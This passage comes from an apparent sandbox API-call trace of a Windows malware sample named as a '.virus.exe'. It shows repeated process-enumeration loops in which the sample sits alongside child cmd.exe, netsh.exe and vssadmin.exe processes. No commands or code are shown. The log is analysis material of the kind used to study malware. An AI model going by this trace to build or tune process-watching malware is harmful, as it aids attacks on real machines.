th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0240.456] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0240.456] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0240.456] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0240.457] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0240.457] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0240.457] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0240.457] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2a, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0240.458] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0240.458] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0240.458] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0240.459] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0240.459] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0240.459] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0240.460] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0240.460] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0240.460] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0240.461] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0240.461] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0240.461] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0240.462] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0240.462] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0240.462] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0240.463] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0240.463] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0240.463] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0240.464] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0240.464] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0240.464] CloseHandle (hObject=0x1ac) returned 1 [0240.465] Sleep (dwMilliseconds=0x1f4) [0240.981] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b8 [0240.983] Process32FirstW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0240.984] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0240.984] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0240.985] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0240.985] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0240.986] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0240.986] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0240.987] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0240.987] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0240.987] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0240.988] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0240.988] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0240.989] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0240.989] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0240.990] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2a, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0240.990] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0240.990] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0240.991] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0240.991] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0240.992] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0240.992] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0240.992] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0240.993] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0240.993] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0240.994] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0240.994] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0240.995] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0240.995] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0240.996] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0240.996] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0240.996] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0240.997] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0240.997] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0240.998] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0240.998] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0240.999] CloseHandle (hObject=0x1b8) returned 1 [0240.999] Sleep (dwMilliseconds=0x1f4) [0241.680] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c4 [0241.682] Process32FirstW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0241.683] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0241.683] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0241.684] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0241.684] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0241.685] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0241.685] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0241.685] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0241.686] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0241.686] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0241.686] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.687] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.687] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.687] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.688] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2a, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.688] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0241.688] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.689] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.689] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0241.690] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: 